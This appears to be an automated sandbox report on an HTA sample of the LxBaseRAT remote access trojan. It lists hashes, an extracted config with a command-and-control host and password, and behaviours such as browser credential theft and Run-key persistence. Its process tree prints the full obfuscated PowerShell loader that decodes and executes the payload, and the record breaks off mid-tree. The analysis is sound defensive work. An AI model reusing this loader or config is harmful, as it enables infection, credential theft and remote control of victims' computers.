lxbaserat | 5435ec2d38053a71a2f474407f4be84dde6b763f88d026c9d59b7f253b0a184e

Analysis

max time kernel
300s
max time network
303s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
20/10/2026, 09:13

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Requirement List & Specifications.hta
Size 30KB
Sample261020-k68stsfx4v
SHA256 5435ec2d38053a71a2f474407f4be84dde6b763f88d026c9d59b7f253b0a184e
MD5 6cae0521449ffea1c590b436d2e43be6
SHA1 baf19c4a3f98b102fbc67892f269133246aacdd0
SHA512 208e7d24c7d6d347aa9eb2cf4d982c727315f3a71ee1ed269cf2b8eca7f81840b11bdde7ce9555e8f7b12da6f33903b77ea93fc52291bac7de2715611ab7de78
SSDEEP 192:vTj45ewNSe/7zygoWWhlrC8VnfXuS/q1K91q1LPOUApxPpe3bc1rqCOVkyM5DJtJ:vShCVLRfXXqNrCV3NVLYsQ772ue
TLSH
T195D2D8C7B2CD2F79C7BCC8DDA07A9C4409D4777A0CA68A309AF4844FBE9E52504786B5
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

frost zynova f97c184d3ebe4ee9ada1a3cd041ad9fe collection defense_evasion discovery execution lxbaserat persistence rat spyware stealer

Malware Config

Extracted

Family

lxbaserat

Version

1.0.50

Botnet

Frost Zynova

Campaign

f97c184d3ebe4ee9ada1a3cd041ad9fe

tarxl.electronicracks.com:2683

Attributes

directory
WindowsTelemetry\Logs
executable
client.exe
password
wCraTsNkzb02iL17ZeG2

Signatures

Family: LxBaseRAT
LxBaseRAT is a .NET remote access trojan with stealer capabilities.
rat lxbaserat

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
7	3528	powershell.exe
8	3528	powershell.exe
9	3528	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2284	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
2732	.dfc_30a104e7.dat
2808	.dfc_b8b9b5e2.dat

Loads dropped DLL 1 IoCs

pid	Process
1176	chrome.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-696679853-3915825385-3233721679-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	Msbuild.exe
Key queried	\REGISTRY\USER\S-1-5-21-696679853-3915825385-3233721679-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	Msbuild.exe
Key opened	\REGISTRY\USER\S-1-5-21-696679853-3915825385-3233721679-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Msbuild.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-696679853-3915825385-3233721679-1000\Software\Microsoft\Windows\CurrentVersion\Run\AakeFSljko = "\"C:\\ProgramData\\pSFSkrr.hta\""	powershell.exe

Looks up external IP address via web service 1 TTPs 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	ip-api.com

SmartAssembly .NET packer 1 IoCs

Detects SmartAssembly .NET packer.

resource	yara_rule
behavioral4/memory/3528-13-0x00000193A0A10000-0x00000193A0A2E000-memory.dmp	SmartAssembly

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3528 set thread context of 1644	3528	powershell.exe	101

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5668	cmd.exe
4744	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Msbuild.exe

Kills process with taskkill 3 IoCs

defense_evasion

pid	Process
1452	taskkill.exe
2484	taskkill.exe
3488	taskkill.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3528	powershell.exe
3528	powershell.exe
3528	powershell.exe
2284	powershell.exe
2284	powershell.exe
1644	Msbuild.exe
1644	Msbuild.exe
1644	Msbuild.exe
1644	Msbuild.exe
1644	Msbuild.exe
1644	Msbuild.exe
1644	Msbuild.exe
1644	Msbuild.exe
1644	Msbuild.exe
1644	Msbuild.exe
1644	Msbuild.exe
1644	Msbuild.exe
1644	Msbuild.exe
1644	Msbuild.exe
1644	Msbuild.exe
1644	Msbuild.exe
1644	Msbuild.exe
1644	Msbuild.exe
1644	Msbuild.exe
1644	Msbuild.exe
1644	Msbuild.exe
1644	Msbuild.exe
1644	Msbuild.exe
1644	Msbuild.exe
1644	Msbuild.exe
1644	Msbuild.exe
1644	Msbuild.exe
1644	Msbuild.exe
1644	Msbuild.exe
1644	Msbuild.exe
1644	Msbuild.exe
1644	Msbuild.exe
1644	Msbuild.exe
1644	Msbuild.exe
1644	Msbuild.exe
1644	Msbuild.exe
1644	Msbuild.exe
1644	Msbuild.exe
1644	Msbuild.exe
1644	Msbuild.exe
1644	Msbuild.exe
1644	Msbuild.exe
1644	Msbuild.exe
1644	Msbuild.exe
1644	Msbuild.exe
1644	Msbuild.exe
1644	Msbuild.exe
1644	Msbuild.exe
1644	Msbuild.exe
1644	Msbuild.exe
1644	Msbuild.exe
1644	Msbuild.exe
1644	Msbuild.exe
1644	Msbuild.exe
1644	Msbuild.exe
1644	Msbuild.exe
1644	Msbuild.exe
1644	Msbuild.exe
1644	Msbuild.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
1644	Msbuild.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	3528	powershell.exe
Token: SeDebugPrivilege	2284	powershell.exe
Token: SeDebugPrivilege	3488	taskkill.exe
Token: SeDebugPrivilege	1452	taskkill.exe
Token: SeDebugPrivilege	2484	taskkill.exe
Token: SeDebugPrivilege	1644	Msbuild.exe

Suspicious use of WriteProcessMemory 19 IoCs

description	pid	Process	procid_target
PID 4376 wrote to memory of 5668	4376	mshta.exe	89
PID 5668 wrote to memory of 3528	5668	cmd.exe	91
PID 3528 wrote to memory of 2284	3528	powershell.exe	92
PID 2284 wrote to memory of 4744	2284	powershell.exe	94
PID 4744 wrote to memory of 3488	4744	cmd.exe	96
PID 4744 wrote to memory of 1452	4744	cmd.exe	99
PID 4744 wrote to memory of 2484	4744	cmd.exe	100
PID 3528 wrote to memory of 1644	3528	powershell.exe	101
PID 3528 wrote to memory of 1644	3528	powershell.exe	101
PID 3528 wrote to memory of 1644	3528	powershell.exe	101
PID 3528 wrote to memory of 1644	3528	powershell.exe	101
PID 3528 wrote to memory of 1644	3528	powershell.exe	101
PID 1644 wrote to memory of 1176	1644	Msbuild.exe	102
PID 1644 wrote to memory of 1164	1644	Msbuild.exe	103
PID 1164 wrote to memory of 4548	1164	csc.exe	105
PID 1644 wrote to memory of 2732	1644	Msbuild.exe	106
PID 1644 wrote to memory of 3356	1644	Msbuild.exe	110
PID 3356 wrote to memory of 6096	3356	csc.exe	112
PID 1644 wrote to memory of 2808	1644	Msbuild.exe	113

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-696679853-3915825385-3233721679-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Msbuild.exe

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\Requirement List & Specifications.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4376
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\Windows\SysNative\WindowsPowerShell\v1.0\powershell.exe ""$j=26-76;$it86Wyv='6IZAfhWw4pTz';$bJGAjlb='QvphmLN41gjABf0H';$g4ujFnxX='QjNNN041m1LANpmhm04LNBNvQ140p1hHLvvA4NQgQLv4hgvhL4h4NppNN4Nv4mL0vjmHNhQ0pH4BN0NfLgmQ4g4QLmvQm1LpQh40mp4jmHL4hAvghfL04BmgQp4mp1hHLvvAhNQgQvv4LLmpvLN4NLmQNvNHh4v4QQmH4gQ1m14vp0L4LgLBNjLgQNQhhLmNQhNvp1hHLLQHhfvNmjmhphmBv1h4NphL4QL4NhmjvjmphLQmQLh1pAhpm4vNNp4NmjmhLhvfmmh4NpmQv1LALQQQQBLpNvLpm141pgNNQ4NgL0LmvfL0NAmfmpm4NLNhm1vBm1mhQfmLNjmgQp4mLfpvQNN4LgNALNQmmgmLv1mQ4mNgLLLBNjQLmjmLp4LfNvvgQfvvvBvppfQfhLNmNALmmpmQNLNgmjLAN0m1h0mLN4m0v1L0Nv4LLfLLN1LHhhvQhm4hQg4Q4LNgLLmN4m4fvBmL4jmHQH4BNBhAQvvpLNNhQAL0pQ4hQg4Q4LNgLLmN4m4fvBmL4jmHQH4BNBmHmLmpN14QLmvQLjmBvHpphpvNhNNv4gmBvBL0ph4hQQ4NNLNAvBvHL0m1QfmLNQmmvHhhhhvNhNvppfQfm0mB4Am0QHN4Ng4mLpvpmgmpvgmmNpmHQf44mm4jm1LhmALHQvm4mpmgQp414hhAm4vp4fmBvBmANhQQmmm14hNHm0LANhmjhL44LhQmQfphpghAhvh1pfQfm0QjpjmvLfhhhfhA4pL44jQQpvm1NmmLQHN4pQm1mLmv4gm1QhQmmQmLv1hfL440L04vNvmmQAmm4jvAmBv0QjhAvBvppfQgQHv1p0vfmBLmNLNHvvNQNBmhQjmLNhQQmvLjN0NAmgmNmpmHQmmHNfLmmBh4NvpAvBvHm0mpvAmm4jQQm14phQhL4QL4NhmjvjmphLQQNvvgpQhAvBvpNAmpvBmHNHmhQmhhp1hHLfQvpfmmQQQjpjmvL0hjpQNQvBmN4HLmm0Lvp0LpQgN44LNgLpvppgmBLHQmmjmHvA4fNB4mLfLNmgmBvjmApNQmQfpQpghAmvvpN0mBvjmgNNQQv4hhNh4mLpmNNmmhvAmHp0LfmBN0hAhAhvh1pfQfm0Qj4BmLv1NN4p4LvBvNNhL1QpmNp0LfL4hhQfvvvBvppfQfmjmAhjQQLvhhp4hBQ4hHQ4Qfm0Qjp0QmQfpNpQpNvBvjLpmHpHm0NhQQmALjLmpAQL4fLLNhQh4QNgvfLvhmpgpQhvh1pgmBL1QjhhQQmBh4NvpHvBvgpgmB';$iVbiBEA='jNf4Hp000h0ffpHpALAmBvHHj0BBAHBB0A0ggh0mAvH0fvH4BB10A01Qj00ffLAmjp0mgHAjjQg1BNA0HQjLfg11jpAfBLAgfmALg1j01QH1gHAmBNANgAgQBQf1BpBh0j0mf0HjALAmB4HHA1BBf4AAjv1BgNAHAvHpgmg404gAjLf4jAHjg4gLHL0vg414fL1pgjf4HpH1j1AAfQA0AfApBjfgANj4jBHAj1ABjQAAA1jLH1ggf1Bf0j0vfjHNHQ0hfvHmAhBmjQ1N1pjggHHpANAQAgAhjjANBBgQHmj1gHAN0gAhjNAAjL1jj1A0Hmg41AgHjmgggN0pj0BAfNBf0jHNfpHpAvHLfvHHAhBBHp0004jBBLHpjBHLALAQ0m1pgh1AjpjgANAh0LAmA4jfHB1vAh1fjfjN1vHpALAmBv0mg00NfHBm0h0ffpHpAvHLg1AgAhBmfA1LHm0ffHABHmHLfLAv0N1QghBf0hANfpHNHQ0ffv0pAhA4jBgfAQAgg4AHAH1vgmj404BpAj1jjQjpgNAAHHApjB0LjgAgjAjpHA0hALA40L1N1LjfHj1pg1BB04jBBLHAjjf1HAHHAhBBfHBm04jBBAHpjBHLfg1QHvjfgA1g0h0jgN1jBmAmAg1fjpfHgAghH0HQfLHAjjHLfLAfjhBBBpBm0AgpgQghHLA1fvH1H4Amjjjjj4H0gv0HANHBBjHHA410B0BmH00ffNAhjgHAA1AvH41g14jAjL0LfNAhj1HBBjHHg00NfHBm0h0ffNAQjhHLBBHHA41fB4Bj1jjhgNA40ggjg4H4A410BHBfH1BQH1HpAvHLfvHHHj1jfHBB04jHBhHpABApgmHHjhBBfp1LjfjgfpHNHh04fvHpHmg1fHBQjvHBfAHp0jHLfLAfjpBBfmfg0h0ggh0AAHgggmAvHmg1g4fH0hBQH1HpAvHLfvHAHvfHfHfg0h0ggQ0QAvH1fvHAHvffBm0gBg0ffpHpAvHLfLAfj4BBBpBm04jBBjHBBpjQghjB04g0gN1jjm0LfNAQjQHgfvHAHvfHfNfHB0B4fpHpAvHvgh0fAhfvfHBQjpHLfBgAHHAvgmj4fB1jf4BQjvHffA0ggBfHfvHHAhBBfHBQjvH1fp0HAv10jpjN0Qg1gj1g0f10gfAB04AQ1hjAB0fNBLjpAvjpgHgQHQjNgm0gj4AH1AgNjjjhgLHjALA4BLHNj1BBfHBm04jHBQHpjBHLfLA0jABpAN1jj4j11jgfH4HffLAfjhBLBmBm0h0ffNAQ';$eTyrQoNJ='h1LLLALf40hLLhNLmvppQBph4phjQQLL40hNLANphhmvNpNNpjLLmNLgh1NpmA4Np1v4hAhH4gQvQhvQ4mQNQ0pfNmpgQAhpNhvjQ1LhvAp4v1p0NLp0QmhHL4mHLBhvhLhLQHNhpBp0LfNHhv41NBLf4jvhQ0hHpLvBvjpgNgvQvLQ04jp1mAv1N4h0vBNAmLv4QBv1hgpQmAQ1L1vgm1NAm0vQvLv0hHhjQHppNNpAm1hjpjpNQhvvhHh4vHNNm4p0QpphNgQvmNLQvBhfvgh14BNBLfNN4NLLpQvpp1hgQjhHpLv1QgpmNNvQmNhhhAhgQ0N4mAvBhfmAQQLLmNLf4j4QQg4Bp14vm1NpN1mhm1hjhHpQhHhp41pgmQN0LLv4p4vgh44mmBQvmBQfLfQg4fm1LALj4h4mmQNApQvhQjQ4N0v1mNLjvQhfLH4BmhQHhjp1mApNhHvNvNv4vB4fpHNLmv4fQ44HNA444j4mmANApBp0LQ4ApppjQmhBh0hgmANBmjQ1Q4hmLjhNp4vvvNQLLN4NpHNLLhmAQQLLmNLf4j4QQg4pp14vm1N0LLv4p4vgh44mmBvALBQgLvvB4fmfQvhvhhh4QQQ4mA4fQLQjm0mLQgpfQ0pmQNQv4vvLQHvNLgvpvphmvgQvQmvAhjvfQHQHNQvgQAh4pQNQQNQv4vQNQhQBLgpQvLpfh4hQQNvANp4fQNQjNhpBLvhvN1h4LfvALAQfQvvBN4pHvBhphhNQLfQ4Nv4Bv0Qj4hmfvhhmQ0hAvfQ4LA4mvfQjLAm1LALj4h4mLQNApBp0LvNNh4LLmpvHNh4jh1h0NjhHvBhmNhvAQvLLNj41mANHNj4LmNQjNHvAQvQghp4mmNNAhg4gmvmAQQLvQLmf4jNgmANhL4p0pgppN4LLmvv1QANgLNNBpv44NLmBpjLLmNLf40h4LjNAhLNBmQvgN1hmQpvQ4j4hQfvjhL4vmHNHhv41NBLf4j4mmANHNA40m14ApjLvQmmj4mvhQ0hHmLpgvBp0NLvvm0LLQLhNpjpHNLNBmHQg4QQpQ1Lj4h4mmQNApQvhQjQ4N0v1mNLjvLh0Qm4NpHNLmvN1mhvAvQvphvhvmhNHNNhgQmpjpNLLhfvph1h0Q0p14Bv4hLvApjLfmpvHNh4mm4NHNA4fmmNNpppjQmhBh0hgmANBm4v0Q4vNmfvBpHmjvLphLN4NpHNLmmNNp0v4L0Lv4j4QQ14Ap1NQm1N0LLv4p4vgh44mmBQNLQQjm4NvphLBmHQQp4LgNv';$vC5Ut3ctq=0x9594-0x7E0B;$zht5TboQ=@();foreach($sTI23dbCa in [char[]]$it86Wyv){$zht5TboQ+=[byte]($sTI23dbCa-bxor0x5A)};$zeOTq2C=$zht5TboQ;$zht5TboQ=@();foreach($sTI23dbCa in [char[]]$it86Wyv){$zht5TboQ+=[byte]($sTI23dbCa-bxor0xA5)};$bwQQBgdR=$zht5TboQ;$zht5TboQ=@();foreach($sTI23dbCa in [char[]]$it86Wyv){$zht5TboQ+=[byte]($sTI23dbCa-bxor0x3C)};$zD7tq8=$zht5TboQ;$k7Vl0a9Ru='';$qQlfQji=0;$ouPia9Fw=0;while($qQlfQji-lt$g4ujFnxX.Length){$mglBFs0fa=$bJGAjlb.IndexOf($g4ujFnxX[$qQlfQji])*16+$bJGAjlb.IndexOf($g4ujFnxX[$qQlfQji+1]);if($ouPia9Fw-ge$zeOTq2C.Length){$ouPia9Fw=0};$k7Vl0a9Ru+=[char]($mglBFs0fa-bxor$zeOTq2C[$ouPia9Fw]);$ouPia9Fw++;$qQlfQji+=2};$jxwoLbVq8=$k7Vl0a9Ru;$k7Vl0a9Ru='';$qQlfQji=0;$ouPia9Fw=0;while($qQlfQji-lt$iVbiBEA.Length){$mglBFs0fa=$bJGAjlb.IndexOf($iVbiBEA[$qQlfQji])*16+$bJGAjlb.IndexOf($iVbiBEA[$qQlfQji+1]);if($ouPia9Fw-ge$bwQQBgdR.Length){$ouPia9Fw=0};$k7Vl0a9Ru+=[char]($mglBFs0fa-bxor$bwQQBgdR[$ouPia9Fw]);$ouPia9Fw++;$qQlfQji+=2};$lYYc6kNG=$k7Vl0a9Ru;$k7Vl0a9Ru='';$qQlfQji=0;$ouPia9Fw=0;while($qQlfQji-lt$eTyrQoNJ.Length){$mglBFs0fa=$bJGAjlb.IndexOf($eTyrQoNJ[$qQlfQji])*16+$bJGAjlb.IndexOf($eTyrQoNJ[$qQlfQji+1]);if($ouPia9Fw-ge$zD7tq8.Length){$ouPia9Fw=0};$k7Vl0a9Ru+=[char]($mglBFs0fa-bxor$zD7tq8[$ouPia9Fw]);$ouPia9Fw++;$qQlfQji+=2};$q45egpO=$k7Vl0a9Ru;$l7dQRJhv=$jxwoLbVq8+$lYYc6kNG+$q45egpO;^&([char[]](105,101,120)-join'') $l7dQRJhv""; Copy-Item -Path '"C:\Users\Admin\AppData\Local\Temp\Requirement List & Specifications.hta"' -Destination 'C:\ProgramData\pSFSkrr.hta' -Force""
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5668
- - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\SysNative\WindowsPowerShell\v1.0\powershell.exe ""$j=26-76;$it86Wyv='6IZAfhWw4pTz';$bJGAjlb='QvphmLN41gjABf0H';$g4ujFnxX='QjNNN041m1LANpmhm04LNBNvQ140p1hHLvvA4NQgQLv4hgvhL4h4NppNN4Nv4mL0vjmHNhQ0pH4BN0NfLgmQ4g4QLmvQm1LpQh40mp4jmHL4hAvghfL04BmgQp4mp1hHLvvAhNQgQvv4LLmpvLN4NLmQNvNHh4v4QQmH4gQ1m14vp0L4LgLBNjLgQNQhhLmNQhNvp1hHLLQHhfvNmjmhphmBv1h4NphL4QL4NhmjvjmphLQmQLh1pAhpm4vNNp4NmjmhLhvfmmh4NpmQv1LALQQQQBLpNvLpm141pgNNQ4NgL0LmvfL0NAmfmpm4NLNhm1vBm1mhQfmLNjmgQp4mLfpvQNN4LgNALNQmmgmLv1mQ4mNgLLLBNjQLmjmLp4LfNvvgQfvvvBvppfQfhLNmNALmmpmQNLNgmjLAN0m1h0mLN4m0v1L0Nv4LLfLLN1LHhhvQhm4hQg4Q4LNgLLmN4m4fvBmL4jmHQH4BNBhAQvvpLNNhQAL0pQ4hQg4Q4LNgLLmN4m4fvBmL4jmHQH4BNBmHmLmpN14QLmvQLjmBvHpphpvNhNNv4gmBvBL0ph4hQQ4NNLNAvBvHL0m1QfmLNQmmvHhhhhvNhNvppfQfm0mB4Am0QHN4Ng4mLpvpmgmpvgmmNpmHQf44mm4jm1LhmALHQvm4mpmgQp414hhAm4vp4fmBvBmANhQQmmm14hNHm0LANhmjhL44LhQmQfphpghAhvh1pfQfm0QjpjmvLfhhhfhA4pL44jQQpvm1NmmLQHN4pQm1mLmv4gm1QhQmmQmLv1hfL440L04vNvmmQAmm4jvAmBv0QjhAvBvppfQgQHv1p0vfmBLmNLNHvvNQNBmhQjmLNhQQmvLjN0NAmgmNmpmHQmmHNfLmmBh4NvpAvBvHm0mpvAmm4jQQm14phQhL4QL4NhmjvjmphLQQNvvgpQhAvBvpNAmpvBmHNHmhQmhhp1hHLfQvpfmmQQQjpjmvL0hjpQNQvBmN4HLmm0Lvp0LpQgN44LNgLpvppgmBLHQmmjmHvA4fNB4mLfLNmgmBvjmApNQmQfpQpghAmvvpN0mBvjmgNNQQv4hhNh4mLpmNNmmhvAmHp0LfmBN0hAhAhvh1pfQfm0Qj4BmLv1NN4p4LvBvNNhL1QpmNp0LfL4hhQfvvvBvppfQfmjmAhjQQLvhhp4hBQ4hHQ4Qfm0Qjp0QmQfpNpQpNvBvjLpmHpHm0NhQQmALjLmpAQL4fLLNhQh4QNgvfLvhmpgpQhvh1pgmBL1QjhhQQmBh4NvpHvBvgpgmB';$iVbiBEA='jNf4Hp000h0ffpHpALAmBvHHj0BBAHBB0A0ggh0mAvH0fvH4BB10A01Qj00ffLAmjp0mgHAjjQg1BNA0HQjLfg11jpAfBLAgfmALg1j01QH1gHAmBNANgAgQBQf1BpBh0j0mf0HjALAmB4HHA1BBf4AAjv1BgNAHAvHpgmg404gAjLf4jAHjg4gLHL0vg414fL1pgjf4HpH1j1AAfQA0AfApBjfgANj4jBHAj1ABjQAAA1jLH1ggf1Bf0j0vfjHNHQ0hfvHmAhBmjQ1N1pjggHHpANAQAgAhjjANBBgQHmj1gHAN0gAhjNAAjL1jj1A0Hmg41AgHjmgggN0pj0BAfNBf0jHNfpHpAvHLfvHHAhBBHp0004jBBLHpjBHLALAQ0m1pgh1AjpjgANAh0LAmA4jfHB1vAh1fjfjN1vHpALAmBv0mg00NfHBm0h0ffpHpAvHLg1AgAhBmfA1LHm0ffHABHmHLfLAv0N1QghBf0hANfpHNHQ0ffv0pAhA4jBgfAQAgg4AHAH1vgmj404BpAj1jjQjpgNAAHHApjB0LjgAgjAjpHA0hALA40L1N1LjfHj1pg1BB04jBBLHAjjf1HAHHAhBBfHBm04jBBAHpjBHLfg1QHvjfgA1g0h0jgN1jBmAmAg1fjpfHgAghH0HQfLHAjjHLfLAfjhBBBpBm0AgpgQghHLA1fvH1H4Amjjjjj4H0gv0HANHBBjHHA410B0BmH00ffNAhjgHAA1AvH41g14jAjL0LfNAhj1HBBjHHg00NfHBm0h0ffNAQjhHLBBHHA41fB4Bj1jjhgNA40ggjg4H4A410BHBfH1BQH1HpAvHLfvHHHj1jfHBB04jHBhHpABApgmHHjhBBfp1LjfjgfpHNHh04fvHpHmg1fHBQjvHBfAHp0jHLfLAfjpBBfmfg0h0ggh0AAHgggmAvHmg1g4fH0hBQH1HpAvHLfvHAHvfHfHfg0h0ggQ0QAvH1fvHAHvffBm0gBg0ffpHpAvHLfLAfj4BBBpBm04jBBjHBBpjQghjB04g0gN1jjm0LfNAQjQHgfvHAHvfHfNfHB0B4fpHpAvHvgh0fAhfvfHBQjpHLfBgAHHAvgmj4fB1jf4BQjvHffA0ggBfHfvHHAhBBfHBQjvH1fp0HAv10jpjN0Qg1gj1g0f10gfAB04AQ1hjAB0fNBLjpAvjpgHgQHQjNgm0gj4AH1AgNjjjhgLHjALA4BLHNj1BBfHBm04jHBQHpjBHLfLA0jABpAN1jj4j11jgfH4HffLAfjhBLBmBm0h0ffNAQ';$eTyrQoNJ='h1LLLALf40hLLhNLmvppQBph4phjQQLL40hNLANphhmvNpNNpjLLmNLgh1NpmA4Np1v4hAhH4gQvQhvQ4mQNQ0pfNmpgQAhpNhvjQ1LhvAp4v1p0NLp0QmhHL4mHLBhvhLhLQHNhpBp0LfNHhv41NBLf4jvhQ0hHpLvBvjpgNgvQvLQ04jp1mAv1N4h0vBNAmLv4QBv1hgpQmAQ1L1vgm1NAm0vQvLv0hHhjQHppNNpAm1hjpjpNQhvvhHh4vHNNm4p0QpphNgQvmNLQvBhfvgh14BNBLfNN4NLLpQvpp1hgQjhHpLv1QgpmNNvQmNhhhAhgQ0N4mAvBhfmAQQLLmNLf4j4QQg4Bp14vm1NpN1mhm1hjhHpQhHhp41pgmQN0LLv4p4vgh44mmBQvmBQfLfQg4fm1LALj4h4mmQNApQvhQjQ4N0v1mNLjvQhfLH4BmhQHhjp1mApNhHvNvNv4vB4fpHNLmv4fQ44HNA444j4mmANApBp0LQ4ApppjQmhBh0hgmANBmjQ1Q4hmLjhNp4vvvNQLLN4NpHNLLhmAQQLLmNLf4j4QQg4pp14vm1N0LLv4p4vgh44mmBvALBQgLvvB4fmfQvhvhhh4QQQ4mA4fQLQjm0mLQgpfQ0pmQNQv4vvLQHvNLgvpvphmvgQvQmvAhjvfQHQHNQvgQAh4pQNQQNQv4vQNQhQBLgpQvLpfh4hQQNvANp4fQNQjNhpBLvhvN1h4LfvALAQfQvvBN4pHvBhphhNQLfQ4Nv4Bv0Qj4hmfvhhmQ0hAvfQ4LA4mvfQjLAm1LALj4h4mLQNApBp0LvNNh4LLmpvHNh4jh1h0NjhHvBhmNhvAQvLLNj41mANHNj4LmNQjNHvAQvQghp4mmNNAhg4gmvmAQQLvQLmf4jNgmANhL4p0pgppN4LLmvv1QANgLNNBpv44NLmBpjLLmNLf40h4LjNAhLNBmQvgN1hmQpvQ4j4hQfvjhL4vmHNHhv41NBLf4j4mmANHNA40m14ApjLvQmmj4mvhQ0hHmLpgvBp0NLvvm0LLQLhNpjpHNLNBmHQg4QQpQ1Lj4h4mmQNApQvhQjQ4N0v1mNLjvLh0Qm4NpHNLmvN1mhvAvQvphvhvmhNHNNhgQmpjpNLLhfvph1h0Q0p14Bv4hLvApjLfmpvHNh4mm4NHNA4fmmNNpppjQmhBh0hgmANBm4v0Q4vNmfvBpHmjvLphLN4NpHNLmmNNp0v4L0Lv4j4QQ14Ap1NQm1N0LLv4p4vgh44mmBQNLQQjm4NvphLBmHQQp4LgNv';$vC5Ut3ctq=0x9594-0x7E0B;$zht5TboQ=@();foreach($sTI23dbCa in [char[]]$it86Wyv){$zht5TboQ+=[byte]($sTI23dbCa-bxor0x5A)};$zeOTq2C=$zht5TboQ;$zht5TboQ=@();foreach($sTI23dbCa in [char[]]$it86Wyv){$zht5TboQ+=[byte]($sTI23dbCa-bxor0xA5)};$bwQQBgdR=$zht5TboQ;$zht5TboQ=@();foreach($sTI23dbCa in [char[]]$it86Wyv){$zht5TboQ+=[byte]($sTI23dbCa-bxor0x3C)};$zD7tq8=$zht5TboQ;$k7Vl0a9Ru='';$qQlfQji=0;$ouPia9Fw=0;while($qQlfQji-lt$g4ujFnxX.Length){$mglBFs0fa=$bJGAjlb.IndexOf($g4ujFnxX[$qQlfQji])*16+$bJGAjlb.IndexOf($g4ujFnxX[$qQlfQji+1]);if($ouPia9Fw-ge$zeOTq2C.Length){$ouPia9Fw=0};$k7Vl0a9Ru+=[char]($mglBFs0fa-bxor$zeOTq2C[$ouPia9Fw]);$ouPia9Fw++;$qQlfQji+=2};$jxwoLbVq8=$k7Vl0a9Ru;$k7Vl0a9Ru='';$qQlfQji=0;$ouPia9Fw=0;while($qQlfQji-lt$iVbiBEA.Length){$mglBFs0fa=$bJGAjlb.IndexOf($iVbiBEA[$qQlfQji])*16+$bJGAjlb.IndexOf($iVbiBEA[$qQlfQji+1]);if($ouPia9Fw-ge$bwQQBgdR.Length){$ouPia9Fw=0};$k7Vl0a9Ru+=[char]($mglBFs0fa-bxor$bwQQBgdR[$ouPia9Fw]);$ouPia9Fw++;$qQlfQji+=2};$lYYc6kNG=$k7Vl0a9Ru;$k7Vl0a9Ru='';$qQlfQji=0;$ouPia9Fw=0;while($qQlfQji-lt$eTyrQoNJ.Length){$mglBFs0fa=$bJGAjlb.IndexOf($eTyrQoNJ[$qQlfQji])*16+$bJGAjlb.IndexOf($eTyrQoNJ[$qQlfQji+1]);if($ouPia9Fw-ge$zD7tq8.Length){$ouPia9Fw=0};$k7Vl0a9Ru+=[char]($mglBFs0fa-bxor$zD7tq8[$ouPia9Fw]);$ouPia9Fw++;$qQlfQji+=2};$q45egpO=$k7Vl0a9Ru;$l7dQRJhv=$jxwoLbVq8+$lYYc6kNG+$q45egpO;&([char[]](105,101,120)-join'') $l7dQRJhv""; Copy-Item -Path '"C:\Users\Admin\AppData\Local\Temp\Requirement List & Specifications.hta"' -Destination 'C:\ProgramData\pSFSkrr.hta' -Force""
    3⤵
    - Badlisted process makes network request
    - Adds Run key to start application
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3528
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
